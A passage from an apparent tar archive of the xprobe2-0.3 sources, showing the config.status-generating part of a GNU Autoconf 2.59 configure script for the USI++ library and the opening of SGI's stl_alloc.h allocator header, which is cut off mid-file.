etc. instead of their # values after options handling. Logging --version etc. is OK. exec 5>>config.log { echo sed 'h;s/./-/g;s/^.../## /;s/...$/ ##/;p;x;p;x' <<_ASBOX ## Running $as_me. ## _ASBOX } >&5 cat >&5 <<_CSEOF This file was extended by $as_me, which was generated by GNU Autoconf 2.59. Invocation command line was CONFIG_FILES = $CONFIG_FILES CONFIG_HEADERS = $CONFIG_HEADERS CONFIG_LINKS = $CONFIG_LINKS CONFIG_COMMANDS = $CONFIG_COMMANDS $ $0 $@ _CSEOF echo "on `(hostname || uname -n) 2>/dev/null | sed 1q`" >&5 echo >&5 _ACEOF # Files that config.status was made for. if test -n "$ac_config_files"; then echo "config_files=\"$ac_config_files\"" >>$CONFIG_STATUS fi if test -n "$ac_config_headers"; then echo "config_headers=\"$ac_config_headers\"" >>$CONFIG_STATUS fi if test -n "$ac_config_links"; then echo "config_links=\"$ac_config_links\"" >>$CONFIG_STATUS fi if test -n "$ac_config_commands"; then echo "config_commands=\"$ac_config_commands\"" >>$CONFIG_STATUS fi cat >>$CONFIG_STATUS <<\_ACEOF ac_cs_usage="\ \`$as_me' instantiates files from templates according to the current configuration. Usage: $0 [OPTIONS] [FILE]... -h, --help print this help, then exit -V, --version print version number, then exit -q, --quiet do not print progress messages -d, --debug don't remove temporary files --recheck update $as_me by reconfiguring in the same conditions --file=FILE[:TEMPLATE] instantiate the configuration file FILE --header=FILE[:TEMPLATE] instantiate the configuration header FILE Configuration files: $config_files Configuration headers: $config_headers Report bugs to ." _ACEOF cat >>$CONFIG_STATUS <<_ACEOF ac_cs_version="\\ config.status configured by $0, generated by GNU Autoconf 2.59, with options \\"`echo "$ac_configure_args" | sed 's/[\\""\`\$]/\\\\&/g'`\\" Copyright (C) 2003 Free Software Foundation, Inc. This config.status script is free software; the Free Software Foundation gives unlimited permission to copy, distribute and modify it." srcdir=$srcdir INSTALL="$INSTALL" _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF # If no file are specified by the user, then we need to provide default # value. By we need to know if files were specified by the user. ac_need_defaults=: while test $# != 0 do case $1 in --*=*) ac_option=`expr "x$1" : 'x\([^=]*\)='` ac_optarg=`expr "x$1" : 'x[^=]*=\(.*\)'` ac_shift=: ;; -*) ac_option=$1 ac_optarg=$2 ac_shift=shift ;; *) # This is not an option, so the user has probably given explicit # arguments. ac_option=$1 ac_need_defaults=false;; esac case $ac_option in # Handling of the options. _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) ac_cs_recheck=: ;; --version | --vers* | -V ) echo "$ac_cs_version"; exit 0 ;; --he | --h) # Conflict between --help and --header { { echo "$as_me:$LINENO: error: ambiguous option: $1 Try \`$0 --help' for more information." >&5 echo "$as_me: error: ambiguous option: $1 Try \`$0 --help' for more information." >&2;} { (exit 1); exit 1; }; };; --help | --hel | -h ) echo "$ac_cs_usage"; exit 0 ;; --debug | --d* | -d ) debug=: ;; --file | --fil | --fi | --f ) $ac_shift CONFIG_FILES="$CONFIG_FILES $ac_optarg" ac_need_defaults=false;; --header | --heade | --head | --hea ) $ac_shift CONFIG_HEADERS="$CONFIG_HEADERS $ac_optarg" ac_need_defaults=false;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil | --si | --s) ac_cs_silent=: ;; # This is an error. -*) { { echo "$as_me:$LINENO: error: unrecognized option: $1 Try \`$0 --help' for more information." >&5 echo "$as_me: error: unrecognized option: $1 Try \`$0 --help' for more information." >&2;} { (exit 1); exit 1; }; } ;; *) ac_config_targets="$ac_config_targets $1" ;; esac shift done ac_configure_extra_args= if $ac_cs_silent; then exec 6>/dev/null ac_configure_extra_args="$ac_configure_extra_args --silent" fi _ACEOF cat >>$CONFIG_STATUS <<_ACEOF if \$ac_cs_recheck; then echo "running $SHELL $0 " $ac_configure_args \$ac_configure_extra_args " --no-create --no-recursion" >&6 exec $SHELL $0 $ac_configure_args \$ac_configure_extra_args --no-create --no-recursion fi _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF for ac_config_target in $ac_config_targets do case "$ac_config_target" in # Handling of arguments. "Makefile" ) CONFIG_FILES="$CONFIG_FILES Makefile" ;; "config.h" ) CONFIG_HEADERS="$CONFIG_HEADERS config.h" ;; *) { { echo "$as_me:$LINENO: error: invalid argument: $ac_config_target" >&5 echo "$as_me: error: invalid argument: $ac_config_target" >&2;} { (exit 1); exit 1; }; };; esac done # If the user did not use the arguments to specify the items to instantiate, # then the envvar interface is used. Set only those that are not. # We use the long form for the default assignment because of an extremely # bizarre bug on SunOS 4.1.3. if $ac_need_defaults; then test "${CONFIG_FILES+set}" = set || CONFIG_FILES=$config_files test "${CONFIG_HEADERS+set}" = set || CONFIG_HEADERS=$config_headers fi # Have a temporary directory for convenience. Make it in the build tree # simply because there is no reason to put it here, and in addition, # creating and moving files from /tmp can sometimes cause problems. # Create a temporary directory, and hook for its removal unless debugging. $debug || { trap 'exit_status=$?; rm -rf $tmp && exit $exit_status' 0 trap '{ (exit 1); exit 1; }' 1 2 13 15 } # Create a (secure) tmp directory for tmp files. { tmp=`(umask 077 && mktemp -d -q "./confstatXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" } || { tmp=./confstat$$-$RANDOM (umask 077 && mkdir $tmp) } || { echo "$me: cannot create a temporary directory in ." >&2 { (exit 1); exit 1; } } _ACEOF cat >>$CONFIG_STATUS <<_ACEOF # # CONFIG_FILES section. # # No need to generate the scripts if there are no CONFIG_FILES. # This happens for instance when ./config.status config.h if test -n "\$CONFIG_FILES"; then # Protect against being on the right side of a sed subst in config.status. sed 's/,@/@@/; s/@,/@@/; s/,;t t\$/@;t t/; /@;t t\$/s/[\\\\&,]/\\\\&/g; s/@@/,@/; s/@@/@,/; s/@;t t\$/,;t t/' >\$tmp/subs.sed <<\\CEOF s,@SHELL@,$SHELL,;t t s,@PATH_SEPARATOR@,$PATH_SEPARATOR,;t t s,@PACKAGE_NAME@,$PACKAGE_NAME,;t t s,@PACKAGE_TARNAME@,$PACKAGE_TARNAME,;t t s,@PACKAGE_VERSION@,$PACKAGE_VERSION,;t t s,@PACKAGE_STRING@,$PACKAGE_STRING,;t t s,@PACKAGE_BUGREPORT@,$PACKAGE_BUGREPORT,;t t s,@exec_prefix@,$exec_prefix,;t t s,@prefix@,$prefix,;t t s,@program_transform_name@,$program_transform_name,;t t s,@bindir@,$bindir,;t t s,@sbindir@,$sbindir,;t t s,@libexecdir@,$libexecdir,;t t s,@datadir@,$datadir,;t t s,@sysconfdir@,$sysconfdir,;t t s,@sharedstatedir@,$sharedstatedir,;t t s,@localstatedir@,$localstatedir,;t t s,@libdir@,$libdir,;t t s,@includedir@,$includedir,;t t s,@oldincludedir@,$oldincludedir,;t t s,@infodir@,$infodir,;t t s,@mandir@,$mandir,;t t s,@build_alias@,$build_alias,;t t s,@host_alias@,$host_alias,;t t s,@target_alias@,$target_alias,;t t s,@DEFS@,$DEFS,;t t s,@ECHO_C@,$ECHO_C,;t t s,@ECHO_N@,$ECHO_N,;t t s,@ECHO_T@,$ECHO_T,;t t s,@LIBS@,$LIBS,;t t s,@build@,$build,;t t s,@build_cpu@,$build_cpu,;t t s,@build_vendor@,$build_vendor,;t t s,@build_os@,$build_os,;t t s,@host@,$host,;t t s,@host_cpu@,$host_cpu,;t t s,@host_vendor@,$host_vendor,;t t s,@host_os@,$host_os,;t t s,@CXX@,$CXX,;t t s,@CXXFLAGS@,$CXXFLAGS,;t t s,@LDFLAGS@,$LDFLAGS,;t t s,@CPPFLAGS@,$CPPFLAGS,;t t s,@ac_ct_CXX@,$ac_ct_CXX,;t t s,@EXEEXT@,$EXEEXT,;t t s,@OBJEXT@,$OBJEXT,;t t s,@RANLIB@,$RANLIB,;t t s,@ac_ct_RANLIB@,$ac_ct_RANLIB,;t t s,@INSTALL_PROGRAM@,$INSTALL_PROGRAM,;t t s,@INSTALL_SCRIPT@,$INSTALL_SCRIPT,;t t s,@INSTALL_DATA@,$INSTALL_DATA,;t t s,@CC@,$CC,;t t s,@CFLAGS@,$CFLAGS,;t t s,@ac_ct_CC@,$ac_ct_CC,;t t s,@CPP@,$CPP,;t t s,@EGREP@,$EGREP,;t t s,@LIBOBJS@,$LIBOBJS,;t t s,@LTLIBOBJS@,$LTLIBOBJS,;t t CEOF _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF # Split the substitutions into bite-sized pieces for seds with # small command number limits, like on Digital OSF/1 and HP-UX. ac_max_sed_lines=48 ac_sed_frag=1 # Number of current file. ac_beg=1 # First line for current file. ac_end=$ac_max_sed_lines # Line after last line for current file. ac_more_lines=: ac_sed_cmds= while $ac_more_lines; do if test $ac_beg -gt 1; then sed "1,${ac_beg}d; ${ac_end}q" $tmp/subs.sed >$tmp/subs.frag else sed "${ac_end}q" $tmp/subs.sed >$tmp/subs.frag fi if test ! -s $tmp/subs.frag; then ac_more_lines=false else # The purpose of the label and of the branching condition is to # speed up the sed processing (if there are no `@' at all, there # is no need to browse any of the substitutions). # These are the two extra sed commands mentioned above. (echo ':t /@[a-zA-Z_][a-zA-Z_0-9]*@/!b' && cat $tmp/subs.frag) >$tmp/subs-$ac_sed_frag.sed if test -z "$ac_sed_cmds"; then ac_sed_cmds="sed -f $tmp/subs-$ac_sed_frag.sed" else ac_sed_cmds="$ac_sed_cmds | sed -f $tmp/subs-$ac_sed_frag.sed" fi ac_sed_frag=`expr $ac_sed_frag + 1` ac_beg=$ac_end ac_end=`expr $ac_end + $ac_max_sed_lines` fi done if test -z "$ac_sed_cmds"; then ac_sed_cmds=cat fi fi # test -n "$CONFIG_FILES" _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF for ac_file in : $CONFIG_FILES; do test "x$ac_file" = x: && continue # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in". case $ac_file in - | *:- | *:-:* ) # input from stdin cat >$tmp/stdin ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'` ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;; *:* ) ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'` ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;; * ) ac_file_in=$ac_file.in ;; esac # Compute @srcdir@, @top_srcdir@, and @INSTALL@ for subdirectories. ac_dir=`(dirname "$ac_file") 2>/dev/null || $as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$ac_file" : 'X\(//\)[^/]' \| \ X"$ac_file" : 'X\(//\)$' \| \ X"$ac_file" : 'X\(/\)' \| \ . : '\(.\)' 2>/dev/null || echo X"$ac_file" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } /^X\(\/\/\)[^/].*/{ s//\1/; q; } /^X\(\/\/\)$/{ s//\1/; q; } /^X\(\/\).*/{ s//\1/; q; } s/.*/./; q'` { if $as_mkdir_p; then mkdir -p "$ac_dir" else as_dir="$ac_dir" as_dirs= while test ! -d "$as_dir"; do as_dirs="$as_dir $as_dirs" as_dir=`(dirname "$as_dir") 2>/dev/null || $as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_dir" : 'X\(//\)[^/]' \| \ X"$as_dir" : 'X\(//\)$' \| \ X"$as_dir" : 'X\(/\)' \| \ . : '\(.\)' 2>/dev/null || echo X"$as_dir" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } /^X\(\/\/\)[^/].*/{ s//\1/; q; } /^X\(\/\/\)$/{ s//\1/; q; } /^X\(\/\).*/{ s//\1/; q; } s/.*/./; q'` done test ! -n "$as_dirs" || mkdir $as_dirs fi || { { echo "$as_me:$LINENO: error: cannot create directory \"$ac_dir\"" >&5 echo "$as_me: error: cannot create directory \"$ac_dir\"" >&2;} { (exit 1); exit 1; }; }; } ac_builddir=. if test "$ac_dir" != .; then ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'` # A "../" for each directory in $ac_dir_suffix. ac_top_builddir=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'` else ac_dir_suffix= ac_top_builddir= fi case $srcdir in .) # No --srcdir option. We are building in place. ac_srcdir=. if test -z "$ac_top_builddir"; then ac_top_srcdir=. else ac_top_srcdir=`echo $ac_top_builddir | sed 's,/$,,'` fi ;; [\\/]* | ?:[\\/]* ) # Absolute path. ac_srcdir=$srcdir$ac_dir_suffix; ac_top_srcdir=$srcdir ;; *) # Relative path. ac_srcdir=$ac_top_builddir$srcdir$ac_dir_suffix ac_top_srcdir=$ac_top_builddir$srcdir ;; esac # Do not use `cd foo && pwd` to compute absolute paths, because # the directories may not exist. case `pwd` in .) ac_abs_builddir="$ac_dir";; *) case "$ac_dir" in .) ac_abs_builddir=`pwd`;; [\\/]* | ?:[\\/]* ) ac_abs_builddir="$ac_dir";; *) ac_abs_builddir=`pwd`/"$ac_dir";; esac;; esac case $ac_abs_builddir in .) ac_abs_top_builddir=${ac_top_builddir}.;; *) case ${ac_top_builddir}. in .) ac_abs_top_builddir=$ac_abs_builddir;; [\\/]* | ?:[\\/]* ) ac_abs_top_builddir=${ac_top_builddir}.;; *) ac_abs_top_builddir=$ac_abs_builddir/${ac_top_builddir}.;; esac;; esac case $ac_abs_builddir in .) ac_abs_srcdir=$ac_srcdir;; *) case $ac_srcdir in .) ac_abs_srcdir=$ac_abs_builddir;; [\\/]* | ?:[\\/]* ) ac_abs_srcdir=$ac_srcdir;; *) ac_abs_srcdir=$ac_abs_builddir/$ac_srcdir;; esac;; esac case $ac_abs_builddir in .) ac_abs_top_srcdir=$ac_top_srcdir;; *) case $ac_top_srcdir in .) ac_abs_top_srcdir=$ac_abs_builddir;; [\\/]* | ?:[\\/]* ) ac_abs_top_srcdir=$ac_top_srcdir;; *) ac_abs_top_srcdir=$ac_abs_builddir/$ac_top_srcdir;; esac;; esac case $INSTALL in [\\/$]* | ?:[\\/]* ) ac_INSTALL=$INSTALL ;; *) ac_INSTALL=$ac_top_builddir$INSTALL ;; esac if test x"$ac_file" != x-; then { echo "$as_me:$LINENO: creating $ac_file" >&5 echo "$as_me: creating $ac_file" >&6;} rm -f "$ac_file" fi # Let's still pretend it is `configure' which instantiates (i.e., don't # use $as_me), people would be surprised to read: # /* config.h. Generated by config.status. */ if test x"$ac_file" = x-; then configure_input= else configure_input="$ac_file. " fi configure_input=$configure_input"Generated from `echo $ac_file_in | sed 's,.*/,,'` by configure." # First look for the input files in the build tree, otherwise in the # src tree. ac_file_inputs=`IFS=: for f in $ac_file_in; do case $f in -) echo $tmp/stdin ;; [\\/$]*) # Absolute (can't be DOS-style, as IFS=:) test -f "$f" || { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5 echo "$as_me: error: cannot find input file: $f" >&2;} { (exit 1); exit 1; }; } echo "$f";; *) # Relative if test -f "$f"; then # Build tree echo "$f" elif test -f "$srcdir/$f"; then # Source tree echo "$srcdir/$f" else # /dev/null tree { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5 echo "$as_me: error: cannot find input file: $f" >&2;} { (exit 1); exit 1; }; } fi;; esac done` || { (exit 1); exit 1; } _ACEOF cat >>$CONFIG_STATUS <<_ACEOF sed "$ac_vpsub $extrasub _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF :t /@[a-zA-Z_][a-zA-Z_0-9]*@/!b s,@configure_input@,$configure_input,;t t s,@srcdir@,$ac_srcdir,;t t s,@abs_srcdir@,$ac_abs_srcdir,;t t s,@top_srcdir@,$ac_top_srcdir,;t t s,@abs_top_srcdir@,$ac_abs_top_srcdir,;t t s,@builddir@,$ac_builddir,;t t s,@abs_builddir@,$ac_abs_builddir,;t t s,@top_builddir@,$ac_top_builddir,;t t s,@abs_top_builddir@,$ac_abs_top_builddir,;t t s,@INSTALL@,$ac_INSTALL,;t t " $ac_file_inputs | (eval "$ac_sed_cmds") >$tmp/out rm -f $tmp/stdin if test x"$ac_file" != x-; then mv $tmp/out $ac_file else cat $tmp/out rm -f $tmp/out fi done _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF # # CONFIG_HEADER section. # # These sed commands are passed to sed as "A NAME B NAME C VALUE D", where # NAME is the cpp macro being defined and VALUE is the value it is being given. # # ac_d sets the value in "#define NAME VALUE" lines. ac_dA='s,^\([ ]*\)#\([ ]*define[ ][ ]*\)' ac_dB='[ ].*$,\1#\2' ac_dC=' ' ac_dD=',;t' # ac_u turns "#undef NAME" without trailing blanks into "#define NAME VALUE". ac_uA='s,^\([ ]*\)#\([ ]*\)undef\([ ][ ]*\)' ac_uB='$,\1#\2define\3' ac_uC=' ' ac_uD=',;t' for ac_file in : $CONFIG_HEADERS; do test "x$ac_file" = x: && continue # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in". case $ac_file in - | *:- | *:-:* ) # input from stdin cat >$tmp/stdin ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'` ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;; *:* ) ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'` ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;; * ) ac_file_in=$ac_file.in ;; esac test x"$ac_file" != x- && { echo "$as_me:$LINENO: creating $ac_file" >&5 echo "$as_me: creating $ac_file" >&6;} # First look for the input files in the build tree, otherwise in the # src tree. ac_file_inputs=`IFS=: for f in $ac_file_in; do case $f in -) echo $tmp/stdin ;; [\\/$]*) # Absolute (can't be DOS-style, as IFS=:) test -f "$f" || { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5 echo "$as_me: error: cannot find input file: $f" >&2;} { (exit 1); exit 1; }; } # Do quote $f, to prevent DOS paths from being IFS'd. echo "$f";; *) # Relative if test -f "$f"; then # Build tree echo "$f" elif test -f "$srcdir/$f"; then # Source tree echo "$srcdir/$f" else # /dev/null tree { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5 echo "$as_me: error: cannot find input file: $f" >&2;} { (exit 1); exit 1; }; } fi;; esac done` || { (exit 1); exit 1; } # Remove the trailing spaces. sed 's/[ ]*$//' $ac_file_inputs >$tmp/in _ACEOF # Transform confdefs.h into two sed scripts, `conftest.defines' and # `conftest.undefs', that substitutes the proper values into # config.h.in to produce config.h. The first handles `#define' # templates, and the second `#undef' templates. # And first: Protect against being on the right side of a sed subst in # config.status. Protect against being in an unquoted here document # in config.status. rm -f conftest.defines conftest.undefs # Using a here document instead of a string reduces the quoting nightmare. # Putting comments in sed scripts is not portable. # # `end' is used to avoid that the second main sed command (meant for # 0-ary CPP macros) applies to n-ary macro definitions. # See the Autoconf documentation for `clear'. cat >confdef2sed.sed <<\_ACEOF s/[\\&,]/\\&/g s,[\\$`],\\&,g t clear : clear s,^[ ]*#[ ]*define[ ][ ]*\([^ (][^ (]*\)\(([^)]*)\)[ ]*\(.*\)$,${ac_dA}\1${ac_dB}\1\2${ac_dC}\3${ac_dD},gp t end s,^[ ]*#[ ]*define[ ][ ]*\([^ ][^ ]*\)[ ]*\(.*\)$,${ac_dA}\1${ac_dB}\1${ac_dC}\2${ac_dD},gp : end _ACEOF # If some macros were called several times there might be several times # the same #defines, which is useless. Nevertheless, we may not want to # sort them, since we want the *last* AC-DEFINE to be honored. uniq confdefs.h | sed -n -f confdef2sed.sed >conftest.defines sed 's/ac_d/ac_u/g' conftest.defines >conftest.undefs rm -f confdef2sed.sed # This sed command replaces #undef with comments. This is necessary, for # example, in the case of _POSIX_SOURCE, which is predefined and required # on some systems where configure will not decide to define it. cat >>conftest.undefs <<\_ACEOF s,^[ ]*#[ ]*undef[ ][ ]*[a-zA-Z_][a-zA-Z_0-9]*,/* & */, _ACEOF # Break up conftest.defines because some shells have a limit on the size # of here documents, and old seds have small limits too (100 cmds). echo ' # Handle all the #define templates only if necessary.' >>$CONFIG_STATUS echo ' if grep "^[ ]*#[ ]*define" $tmp/in >/dev/null; then' >>$CONFIG_STATUS echo ' # If there are no defines, we may have an empty if/fi' >>$CONFIG_STATUS echo ' :' >>$CONFIG_STATUS rm -f conftest.tail while grep . conftest.defines >/dev/null do # Write a limited-size here document to $tmp/defines.sed. echo ' cat >$tmp/defines.sed <>$CONFIG_STATUS # Speed up: don't consider the non `#define' lines. echo '/^[ ]*#[ ]*define/!b' >>$CONFIG_STATUS # Work around the forget-to-reset-the-flag bug. echo 't clr' >>$CONFIG_STATUS echo ': clr' >>$CONFIG_STATUS sed ${ac_max_here_lines}q conftest.defines >>$CONFIG_STATUS echo 'CEOF sed -f $tmp/defines.sed $tmp/in >$tmp/out rm -f $tmp/in mv $tmp/out $tmp/in ' >>$CONFIG_STATUS sed 1,${ac_max_here_lines}d conftest.defines >conftest.tail rm -f conftest.defines mv conftest.tail conftest.defines done rm -f conftest.defines echo ' fi # grep' >>$CONFIG_STATUS echo >>$CONFIG_STATUS # Break up conftest.undefs because some shells have a limit on the size # of here documents, and old seds have small limits too (100 cmds). echo ' # Handle all the #undef templates' >>$CONFIG_STATUS rm -f conftest.tail while grep . conftest.undefs >/dev/null do # Write a limited-size here document to $tmp/undefs.sed. echo ' cat >$tmp/undefs.sed <>$CONFIG_STATUS # Speed up: don't consider the non `#undef' echo '/^[ ]*#[ ]*undef/!b' >>$CONFIG_STATUS # Work around the forget-to-reset-the-flag bug. echo 't clr' >>$CONFIG_STATUS echo ': clr' >>$CONFIG_STATUS sed ${ac_max_here_lines}q conftest.undefs >>$CONFIG_STATUS echo 'CEOF sed -f $tmp/undefs.sed $tmp/in >$tmp/out rm -f $tmp/in mv $tmp/out $tmp/in ' >>$CONFIG_STATUS sed 1,${ac_max_here_lines}d conftest.undefs >conftest.tail rm -f conftest.undefs mv conftest.tail conftest.undefs done rm -f conftest.undefs cat >>$CONFIG_STATUS <<\_ACEOF # Let's still pretend it is `configure' which instantiates (i.e., don't # use $as_me), people would be surprised to read: # /* config.h. Generated by config.status. */ if test x"$ac_file" = x-; then echo "/* Generated by configure. */" >$tmp/config.h else echo "/* $ac_file. Generated by configure. */" >$tmp/config.h fi cat $tmp/in >>$tmp/config.h rm -f $tmp/in if test x"$ac_file" != x-; then if diff $ac_file $tmp/config.h >/dev/null 2>&1; then { echo "$as_me:$LINENO: $ac_file is unchanged" >&5 echo "$as_me: $ac_file is unchanged" >&6;} else ac_dir=`(dirname "$ac_file") 2>/dev/null || $as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$ac_file" : 'X\(//\)[^/]' \| \ X"$ac_file" : 'X\(//\)$' \| \ X"$ac_file" : 'X\(/\)' \| \ . : '\(.\)' 2>/dev/null || echo X"$ac_file" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } /^X\(\/\/\)[^/].*/{ s//\1/; q; } /^X\(\/\/\)$/{ s//\1/; q; } /^X\(\/\).*/{ s//\1/; q; } s/.*/./; q'` { if $as_mkdir_p; then mkdir -p "$ac_dir" else as_dir="$ac_dir" as_dirs= while test ! -d "$as_dir"; do as_dirs="$as_dir $as_dirs" as_dir=`(dirname "$as_dir") 2>/dev/null || $as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_dir" : 'X\(//\)[^/]' \| \ X"$as_dir" : 'X\(//\)$' \| \ X"$as_dir" : 'X\(/\)' \| \ . : '\(.\)' 2>/dev/null || echo X"$as_dir" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } /^X\(\/\/\)[^/].*/{ s//\1/; q; } /^X\(\/\/\)$/{ s//\1/; q; } /^X\(\/\).*/{ s//\1/; q; } s/.*/./; q'` done test ! -n "$as_dirs" || mkdir $as_dirs fi || { { echo "$as_me:$LINENO: error: cannot create directory \"$ac_dir\"" >&5 echo "$as_me: error: cannot create directory \"$ac_dir\"" >&2;} { (exit 1); exit 1; }; }; } rm -f $ac_file mv $tmp/config.h $ac_file fi else cat $tmp/config.h rm -f $tmp/config.h fi done _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF { (exit 0); exit 0; } _ACEOF chmod +x $CONFIG_STATUS ac_clean_files=$ac_clean_files_save # configure is writing to config.log, and then calls config.status. # config.status does its own redirection, appending to config.log. # Unfortunately, on DOS this fails, as config.log is still kept open # by configure, so config.status won't be able to write to it; its # output is simply discarded. So we exec the FD to /dev/null, # effectively closing config.log, so it can be properly (re)opened and # appended to by config.status. When coming back to configure, we # need to make the FD available again. if test "$no_create" != yes; then ac_cs_success=: ac_config_status_args= test "$silent" = yes && ac_config_status_args="$ac_config_status_args --quiet" exec 5>/dev/null $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false exec 5>>config.log # Use ||, not &&, to avoid exiting from the if with $? = 1, which # would make configure fail if this is the last instruction. $ac_cs_success || { (exit 1); exit 1; } fi ln -s ../usi++ usi++||true rm -f usi++/config.h||true cp config.h usi++/config.h xprobe2-0.3/libs-external/USI++/fix000755 001751 000000 00000000000 10271644024 017231 5ustar00mederwheel000000 000000 xprobe2-0.3/libs-external/USI++/fix/stl_alloc.h000755 001751 000000 00000102217 10271643767 021460 0ustar00mederwheel000000 000000 /* * Copyright (c) 1996-1997 * Silicon Graphics Computer Systems, Inc. * * Permission to use, copy, modify, distribute and sell this software * and its documentation for any purpose is hereby granted without fee, * provided that the above copyright notice appear in all copies and * that both that copyright notice and this permission notice appear * in supporting documentation. Silicon Graphics makes no * representations about the suitability of this software for any * purpose. It is provided "as is" without express or implied warranty. */ /* NOTE: This is an internal header file, included by other STL headers. * You should not attempt to use it directly. */ #ifndef __SGI_STL_INTERNAL_ALLOC_H #define __SGI_STL_INTERNAL_ALLOC_H #ifdef __SUNPRO_CC # define __PRIVATE public // Extra access restrictions prevent us from really making some things // private. #else # define __PRIVATE private #endif #ifdef __STL_STATIC_TEMPLATE_MEMBER_BUG # define __USE_MALLOC #endif // This implements some standard node allocators. These are // NOT the same as the allocators in the C++ draft standard or in // in the original STL. They do not encapsulate different pointer // types; indeed we assume that there is only one pointer type. // The allocation primitives are intended to allocate individual objects, // not larger arenas as with the original STL allocators. #if 0 # include # define __THROW_BAD_ALLOC throw bad_alloc() #elif !defined(__THROW_BAD_ALLOC) # include # define __THROW_BAD_ALLOC cerr << "out of memory" << endl; exit(1) #endif #ifdef __STL_WIN32THREADS # include #endif #include #include #include #include #ifndef __RESTRICT # define __RESTRICT #endif #if !defined(__STL_PTHREADS) && !defined(__STL_SOLTHREADS) \ && !defined(_NOTHREADS) \ && !defined(__STL_SGI_THREADS) && !defined(__STL_WIN32THREADS) # define _NOTHREADS #endif # ifdef __STL_PTHREADS // POSIX Threads // This is dubious, since this is likely to be a high contention // lock. Performance may not be adequate. # include # define __NODE_ALLOCATOR_LOCK \ if (threads) pthread_mutex_lock(&_S_node_allocator_lock) # define __NODE_ALLOCATOR_UNLOCK \ if (threads) pthread_mutex_unlock(&_S_node_allocator_lock) # define __NODE_ALLOCATOR_THREADS true # define __VOLATILE volatile // Needed at -O3 on SGI # endif # ifdef __STL_SOLTHREADS # include # define __NODE_ALLOCATOR_LOCK \ if (threads) mutex_lock(&_S_node_allocator_lock) # define __NODE_ALLOCATOR_UNLOCK \ if (threads) mutex_unlock(&_S_node_allocator_lock) # define __NODE_ALLOCATOR_THREADS true # define __VOLATILE # endif # ifdef __STL_WIN32THREADS // The lock needs to be initialized by constructing an allocator // objects of the right type. We do that here explicitly for alloc. # define __NODE_ALLOCATOR_LOCK \ EnterCriticalSection(&_S_node_allocator_lock) # define __NODE_ALLOCATOR_UNLOCK \ LeaveCriticalSection(&_S_node_allocator_lock) # define __NODE_ALLOCATOR_THREADS true # define __VOLATILE volatile // may not be needed # endif /* WIN32THREADS */ # ifdef __STL_SGI_THREADS // This should work without threads, with sproc threads, or with // pthreads. It is suboptimal in all cases. // It is unlikely to even compile on nonSGI machines. extern "C" { extern int __us_rsthread_malloc; } // The above is copied from malloc.h. Including // would be cleaner but fails with certain levels of standard // conformance. # define __NODE_ALLOCATOR_LOCK if (threads && __us_rsthread_malloc) \ { _S_lock(&_S_node_allocator_lock); } # define __NODE_ALLOCATOR_UNLOCK if (threads && __us_rsthread_malloc) \ { _S_unlock(&_S_node_allocator_lock); } # define __NODE_ALLOCATOR_THREADS true # define __VOLATILE volatile // Needed at -O3 on SGI # endif # ifdef _NOTHREADS // Thread-unsafe # define __NODE_ALLOCATOR_LOCK # define __NODE_ALLOCATOR_UNLOCK # define __NODE_ALLOCATOR_THREADS false # define __VOLATILE # endif __STL_BEGIN_NAMESPACE #if defined(__sgi) && !defined(__GNUC__) && (_MIPS_SIM != _MIPS_SIM_ABI32) #pragma set woff 1174 #endif // Malloc-based allocator. Typically slower than default alloc below. // Typically thread-safe and more storage efficient. #ifdef __STL_STATIC_TEMPLATE_MEMBER_BUG # ifdef __DECLARE_GLOBALS_HERE void (* __malloc_alloc_oom_handler)() = 0; // g++ 2.7.2 does not handle static template data members. # else extern void (* __malloc_alloc_oom_handler)(); # endif #endif template class __malloc_alloc_template { private: static void* _S_oom_malloc(size_t); static void* _S_oom_realloc(void*, size_t); #ifndef __STL_STATIC_TEMPLATE_MEMBER_BUG static void (* __malloc_alloc_oom_handler)(); #endif public: static void* allocate(size_t __n) { void* __result = malloc(__n); if (0 == __result) __result = _S_oom_malloc(__n); return __result; } static void deallocate(void* __p, size_t /* __n */) { free(__p); } static void* reallocate(void* __p, size_t /* old_sz */, size_t __new_sz) { void* __result = realloc(__p, __new_sz); if (0 == __result) __result = _S_oom_realloc(__p, __new_sz); return __result; } static void (* __set_malloc_handler(void (*__f)()))() { void (* __old)() = __malloc_alloc_oom_handler; __malloc_alloc_oom_handler = __f; return(__old); } }; // malloc_alloc out-of-memory handling #ifndef 